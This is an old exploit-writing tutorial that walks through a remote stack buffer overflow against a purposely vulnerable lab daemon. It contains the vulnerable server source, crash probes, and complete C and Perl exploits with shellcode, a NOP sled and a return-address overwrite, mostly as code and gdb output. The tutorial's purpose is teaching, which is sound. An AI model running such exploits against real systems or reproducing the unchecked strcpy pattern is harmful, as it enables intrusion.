-- Remote Exploitation with C and Perl by Preddy - RootShell Security Group --[ Contents 1.1 - Goal 1.2 - Situation 1.3 - Vulnerable Daemon + Vulnerability analyses 1.4 - Payload/Code construction/analyses in C 1.5 - Payload/Code construction/analyses in Perl 1.6 - Conlusion 1.7 - Contact & Feedback [1.1]--[ Goal Hi, Preddy here , 17 year old turkish kid from holland,First of all sorry for my english , please do notify me of any spelling errors. I would recommend you to read my previous tutorial about "Simple Buffer Overflows" to avoid misunderstanding in this tutorial and to get a basic understanding of buffer overflows. Our goal is to write two remote exploits , one in c and one in perl. Both of the exploits, exploit a vulnerability in a small vulnerable daemon. You would need perl installed(eg: ActivePerl for windows) and a compiler for c (eg: cygwin for windows) you should have perl and a compiler package installed at your linux distribution, you can install them with the following commands (incase you haven't got it installed) : To search for the perl package: apt-cache search perl then to install it: apt-get install [perl-pkg-name] you can do the same with the compiler package. [1.2]--[ Situation I have a laptop on my left side and a desktop on my right-hand side. the laptop uses the following local ip address: 192.168.1.100 and the desktop uses: 192.168.1.101 as it's local ip address. The laptop is the attacker in this situation and the desktop is our victim. both run slackware 10.2 and have the VA patch turned off. Turning the VA patch off: cat /proc/sys/kernel/randomize_va_space 1 echo 0 > /proc/sys/kernel/randomize_va_space cat /proc/sys/kernel/randomize_va_space 0 The desktop computer runs a vulnerable daemon on port 7500 which we have to exploit and open its cd-rom drive with the payload. Once again it's a very basic stack overflow and this should be a piece of cake for the average exploit writer but it's very usefull for people who are just starting to write exploits and exploit buffer overflows. [1.3]--[ Vulnerable Daemon + Vulnerability analyses Our vulnerable daemon: server.c --- #include #include #include #include #include #include #include #define LISTENPORT 7500 #define BACKLOG 10 #define MSG "Hello, how are you?" int handle_reply(char *str) { char response[256]; strcpy(response,str); printf("The client says \"%s\"\n",response); return 0; } int main(int argc, char * argv[]) { int sock, conn; struct sockaddr_in my_addr, client_addr; int sockopt_on = 1; int sa_in_size = sizeof(struct sockaddr_in); char reply[1024]; //get a socket if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); } //first zero the struct memset((char *) &my_addr, 0, sa_in_size); //now fill in the fields we need my_addr.sin_family = AF_INET; my_addr.sin_port = htons(LISTENPORT); my_addr.sin_addr.s_addr = htonl(INADDR_ANY); //bind our socket to the port if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) { perror("bind"); exit(1); } //start listening for incoming connections if (listen(sock,BACKLOG) == -1) { perror("listen"); exit(1); } while(1) { //grab connections conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size); if (conn == -1) { perror("accept"); exit(1); } //log the connecter printf("got connection from %s\n", inet_ntoa(client_addr.sin_addr)); //send a greeting send(conn,MSG,strlen(MSG)+1,0); //get the reply recv(conn, reply, 1024, 0); handle_reply(reply); } return 0; } --- This piece of code serves as a daemon and waits for people to connect, on a successfull connection the server replies with a message and waits for the user to reply back with his message. The message get's stored in a buffer called 'reply' which can hold 1024 bytes of data. the vulnerability lies in the handle_reply() function let's analyze it: handle_reply() --- int handle_reply(char *str) { char response[256]; strcpy(response,str); printf("The client says \"%s\"\n",response); return 0; } --- as you can see it has a response buffer which can hold 256 bytes of data the reply message from the user gets copied in that buffer and the response message is viewed at the server. like this, client: --- telnet 192.168.1.101 7500 Trying 192.168.1.101... Connected to 192.168.1.101. Escape character is '^]'. Hello, how are you?fine thanks how are you? --- server: --- got connection from 192.168.1.100 The client says "fine thanks how are you? " --- as you can see nothing special happens. But let's try to send a buffer which is 272 bytes , which exceeds the buffersize of the response buffer in the handle_reply() function. [1.4]--[ Payload/Code construction/analyses in C We want to send a 272 byte buffer to port 7500 of our victim (192.168.1.101) so let's start by writing a simple piece of c code which can send 272 x A (0x41) to port 7500. Also don't forget to enable coredumps to analyze the overflow, Enabling coredumps: ulimit -c unlimited Our overflow code: send_overflow.c --- /* -- Send overflow (C version) written by Preddy Part of Preddy's Remote Exploitation with C and Perl tutorial Usage: ./send_overflow Example: ./send_overflow 192.168.1.101 */ /* include headers which are required for a network connection and other functionalities in the program */ #include #include #include #include #include #include #include /* define our remote port and the data which we are going to send */ #define REMPORT 7500 #define A 0x41 //Start with the program int main(int argc,char **argv) { /* declare our variables */ int conn; //our connection variable, which will connect to the remote computer int fd; // our socket file descriptor //assign struct sockadd_in to remaddr struct sockaddr_in remaddr; //declare our payload buffer which will hold 272 bytes of data char payload[272]; /* check if the first commandline argument is given (the ip address) if NOT print a message and exit */ if(!argv[1]) { printf("Specify ip plz..\n"); exit(1); } /* create the socket and also check for errors at creation if an error is detected socket() will return -1 */ if((fd = socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); } /* this is going to overwrite the Extended Instruction Pointer with 4 x 0x42 (BBBB -> 0x42 is also knows as B in its ascii form - http://www.lookuptables.com/) */ char *eip = "\x42\x42\x42\x42"; /* fill our payload with 268 bytes of A (previously defined as 0x41) */ memset(payload,A,268); /* fill the part after 268 bytes with our eip (BBBB - 0x42424242) */ memcpy(payload+268,eip,sizeof(eip)); /* connection information */ remaddr.sin_family = AF_INET; //domain remaddr.sin_addr.s_addr = inet_addr(argv[1]); //remote connection address (our first argument - IP) remaddr.sin_port = htons(REMPORT); //the remote port to connect to (previously defined as 7500) /* this is where the actual connection take's place */ conn = connect(fd, (struct sockaddr_in *)&remaddr,sizeof(remaddr)); /* check the connection for errors as you know it returns -1 at errors */ if(conn < 0) { printf("Error: could not connect\n"); exit(1); } /* this is the part where our payload gets sent */ send(fd,payload,strlen(payload),0); /* this is extra information which is displayed after sending the payload */ printf("Payload Size: %i\n",sizeof(payload)); printf("Payload Sent..\n"); } --- Now we can start with compiling our program: client: --- gcc send_overflow.c -o send_overflow ./send_overflow 192.168.1.101 Payload Size: 272 Payload Sent.. --- server: --- got connection from 192.168.1.100 The client says "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB" Segmentation fault (core dumped) bash-3.00# gdb -c core ./server GNU gdb 6.3 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1". Core was generated by `./server'. Program terminated with signal 11, Segmentation fault. warning: current_sos: Can't read pathname for load map: Input/output error Reading symbols from /lib/tls/libc.so.6...done. Loaded symbols for /lib/tls/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x42424242 in ?? () (gdb) i r eip eip 0x42424242 0x42424242 (gdb) --- as you see we have overwritten the extended intruction pointer with our own eip which we constructed before in our payload (char *eip = "\x42\x42\x42\x42";) and its overwritten with exacly BBBB so now we have to place our shellcode in our payload and also our nopsled. and finish a huge part of the exploit. server_exploit.c --- /* -- Remote "eject cd-rom" exploit (C version) written by Preddy Part of Preddy's Remote Exploitation with C and Perl tutorial Usage: ./server_exploit Example: ./server_exploit 192.168.1.101 */ /* include headers which are required for a network connection and other functionalities in the program */ #include #include #include #include #include #include #include /* define our remote port and the data which we are going to send */ #define REMPORT 7500 #define NOP 0x90 #define A 0x41 //Start with the program int main(int argc,char **argv) { //Our shellcode which ejects the cd-rom drive.. /* * (linux/x86) eject cd-rom (follows "/dev/cdrom" symlink) + exit() - 40 bytes * - izik */ char scode[] = "\x6a\x05" // push $0x5 "\x58" // pop %eax "\x31\xc9" // xor %ecx,%ecx "\x51" // push %ecx "\xb5\x08" // mov $0x8,%ch "\x68\x64\x72\x6f\x6d" // push $0x6d6f7264 "\x68\x65\x76\x2f\x63" // push $0x632f7665 "\x68\x2f\x2f\x2f\x64" // push $0x642f2f2f "\x89\xe3" // mov %esp,%ebx "\xcd\x80" // int $0x80 "\x89\xc3" // mov %eax,%ebx "\xb0\x36" // mov $0x36,%al "\x66\xb9\x09\x53" // mov $0x5309,%cx "\xcd\x80" // int $0x80 "\x40" // inc %eax "\xcd\x80"; // int $0x80 /* declare our variables */ int conn; //our connection variable, which will connect to the remote computer int fd; // our socket file descriptor //assign struct sockadd_in to remaddr struct sockaddr_in remaddr; //declare our payload buffer which will hold 272 bytes of data char payload[272]; /* check if the first commandline argument is given (the ip address) if NOT print a message and exit */ if(!argv[1]) { printf("Specify ip plz..\n"); exit(1); } /* create the socket and also check for errors at creation if an error is detected socket() will return -1 */ if((fd = socket(AF_INET,SOCK_STREAM,0)) == -1) { perror("socket"); exit(1); } /* this is going to overwrite the Extended Instruction Pointer with 4 x 0x42 (BBBB -> 0x42 is also knows as B in its ascii form - http://www.lookuptables.com/) */ char *eip = "\x42\x42\x42\x42"; /* Shellcode size: 40 bytes 272 bytes used to overwrite eip with 0x42424242 eip = 4 bytes 272 -4 = 268 268 - 40 = 228 Nopsled = 228 bytes */ memset(payload,NOP,228); //construct the nopsled memcpy(payload+228,scode,sizeof(scode)); //place our shellcode after the nopsled memcpy(payload+268,eip,sizeof(eip)); //place eip after our shellcode /* structure: [NOPSLED - 228 BYTES] + [SHELLCODE - 40 BYTES] + [EIP - 4 BYTES] = 272 BYTES */ /* connection information */ remaddr.sin_family = AF_INET; //domain remaddr.sin_addr.s_addr = inet_addr(argv[1]); //remote connection address (our first argument - IP) remaddr.sin_port = htons(REMPORT); //the remote port to connect to (previously defined as 7500) /* this is where the actual connection take's place */ conn = connect(fd, (struct sockaddr_in *)&remaddr,sizeof(remaddr)); /* check the connection for errors as you know it returns -1 at errors */ if(conn < 0) { printf("Error: could not connect\n"); exit(1); } /* this is the part where our payload gets sent */ send(fd,payload,strlen(payload),0); /* this is extra information which is displayed after sending the payload */ printf("Payload Size: %i\n",sizeof(payload)); printf("Payload Sent..\n"); } --- Let's start compiling our exploit, client: --- gcc server_exploit.c -o server_exploit ./server_exploit 192.168.1.101 Payload Size: 272 Payload Sent.. --- server: --- bash-3.00# ./server got connection from 192.168.1.100 The client says "jX1ÉQhdromhev/ch///dãÍð6f¹ SÍ@ÍBBBB" ^[[?1;2cSegmentation fault (core dumped) bash-3.00# gdb -c core ./server GNU gdb 6.3 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1". Core was generated by `./server'. Program terminated with signal 11, Segmentation fault. warning: current_sos: Can't read pathname for load map: Input/output error Reading symbols from /lib/tls/libc.so.6...done. Loaded symbols for /lib/tls/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x42424242 in ?? () (gdb) (gdb) i r eip eip 0x42424242 0x42424242 (gdb) x/1000xb $esp 0xbffff2b0: 0x02 0x00 0xff 0xbf 0xc0 0xf2 0xff 0xbf 0xbffff2b8: 0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0xbffff2c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff2c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff2d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff2d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff2e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff2e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff2f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff2f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff300: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff308: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff310: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff318: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff320: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff328: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff330: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff338: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff340: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff348: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff350: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff358: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff360: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff368: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff370: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff378: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff380: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff388: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 --- As you can see we have overwritten the extended instruction pointer once again and you can see our nopsled above in memory Let's pick a random address from the nopsled, 0xbffff2f8 write it in little-endian format (more info: http://www.answers.com/topic/endianness) EIP: \xf8\xf2\xff\xbf and let's replace the old EIP with the new one in our "server_exploit.c" program so: char *eip = "\x42\x42\x42\x42"; becomes char *eip = "\xf8\xf2\xff\xbf"; and let's recompile the program, gcc server_exploit.c -o server_exploit client: --- ./server_exploit 192.168.1.101 Payload Size: 272 Payload Sent.. --- server: --- bash-3.00# ./server got connection from 192.168.1.100 The client says "jX1ÉQhdromhev/ch///dãÍð6f¹ SÍ@Íøòÿ¿" ^[[?1;2cbash-3.00# 1;2c --- and yes, my cd-rom drive ejected.... as you can see we have managed to successfully exploit a remote buffer overflow by using c code. Some people have allot of problems with c , they find it hard or they are to lazy to learn it :PpPppP Perl is allot easier to learn in my opinion and would be confortable for some people.The next section will use Perl to exploit this vulnerability and open the cd-rom drive of the computer. [1.5]--[ Payload/Code construction/analyses in Perl Let's start again by sending a 272 byte buffer to the server in Perl, send_overflow.pl --- #!/usr/bin/perl #################################################################### # #-- Send overflow (Perl version) written by Preddy # # Part of Preddy's Remote Exploitation with C and Perl tutorial # # Usage: perl send_overflow.pl # # Example: perl send_overflow.pl 192.168.1.101 # #################################################################### #IO::Socket for network connections use IO::Socket; #the ip address is our first commandline argument also known as ARGV[0] in Perl $ip = $ARGV[0]; #our payload which is 272 bytes of A (0x41,x41) $payload = "\x41"x272; #view a message if no ip address is given if(!$ip) { die "Specify ip plz..\n"; } #the remote port to connect to $port = '7500'; #the connection protocol to use $protocol = 'tcp'; #create the actual network connection #and print an error message if it's not possible to create a socket $socket = IO::Socket::INET->new(PeerAddr=>$ip, PeerPort=>$port, Proto=>$protocol, Timeout=>'1') || die "Could not create socket\n"; #send the payload to the remote computer print $socket $payload; #close the connection close($socket); --- Let's start by running the script without any arguments, perl send_overflow.pl Specify ip plz.. And let's send the payload (272 x A - 0x41) client: --- perl send_overflow.pl 192.168.1.101 --- server: --- bash-3.00# ./server got connection from 192.168.1.100 The client says "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB" Segmentation fault (core dumped) bash-3.00# gdb -c core ./server GNU gdb 6.3 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1". Core was generated by `./server'. Program terminated with signal 11, Segmentation fault. warning: current_sos: Can't read pathname for load map: Input/output error Reading symbols from /lib/tls/libc.so.6...done. Loaded symbols for /lib/tls/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) (gdb) i r eip eip 0x41414141 0x41414141 --- as you can see we have overwritten eip , now let's construct our payload [NOPSLED - 228 bytes] + [SHELLCODE - 40 bytes] + [EIP - 4 bytes] = 272 bytes we can just use the same payload from the C section in it's perl form. server_exploit.pl --- #!/usr/bin/perl #################################################################### # #-- Server Exploit (Perl version) written by Preddy # # Part of Preddy's Remote Exploitation with C and Perl tutorial # # Usage: perl server_exploit.pl # # Example: perl server_exploit.pl 192.168.1.101 # #################################################################### #IO::Socket for network connections use IO::Socket; #the ip address is our first commandline argument also known as ARGV[0] in Perl $ip = $ARGV[0]; #our nopsled $nopsled = "\x90"x228; #our shellcode which opens the remote cd-rom drive - 40 bytes (thanks to izik) $shellcode = "\x6a\x05". # push $0x5 "\x58". # pop %eax "\x31\xc9". # xor %ecx,%ecx "\x51". # push %ecx "\xb5\x08". # mov $0x8,%ch "\x68\x64\x72\x6f\x6d". # push $0x6d6f7264 "\x68\x65\x76\x2f\x63". # push $0x632f7665 "\x68\x2f\x2f\x2f\x64". # push $0x642f2f2f "\x89\xe3". # mov %esp,%ebx "\xcd\x80". # int $0x80 "\x89\xc3". # mov %eax,%ebx "\xb0\x36". # mov $0x36,%al "\x66\xb9\x09\x53". # mov $0x5309,%cx "\xcd\x80". # int $0x80 "\x40". # inc %eax "\xcd\x80"; # int $0x80 #our extended instruction pointer which we use to overwrite the remote eip $eip = "\xf8\xf2\xff\xbf"; #we construct our full payload here $payload = $nopsled.$shellcode.$eip; #view a message if no ip address is given if(!$ip) { die "Specify ip plz..\n"; } #the remote port to connect to $port = '7500'; #the connection protocol to use $protocol = 'tcp'; #create the actual network connection #and print an error message if it's not possible to create a socket $socket = IO::Socket::INET->new(PeerAddr=>$ip, PeerPort=>$port, Proto=>$protocol, Timeout=>'1') || die "Could not create socket\n"; #send the payload to the remote computer print $socket $payload; #close the connection close($socket); --- Let's run the perl script again: perl server_exploit.pl 192.168.1.101 and yes! my cd-rom drive opened again :) what a miracle.. :PpPppP (kids: don't irritate your father's box by continuesly opening his cd-rom drive) [1.6]--[ Conclusion Well we have learned to construct payloads and write exploits which use those payloads. A good thing to do is to learn more about different types of overflows and their exploitation methods, also practicing different types of programming languages could be usefull. [1.7]--[ Contact & Feedback You can contact me by, IRC: FREENODE: ##c,##linux,##php,##security,##slackware,#fluxbox,#perl,#remote-exploit,#tor MILW0RM: #milw0rm GSO: #gso-chat STS: #lecture,#social IM , msn : preddy@hushmail.com EMAIL, : m4ilinglists@gmail.com please notify me of any mistake's which I might have made :) or any other comments.. Cya around guyz, Preddy # milw0rm.com [2006-08-08]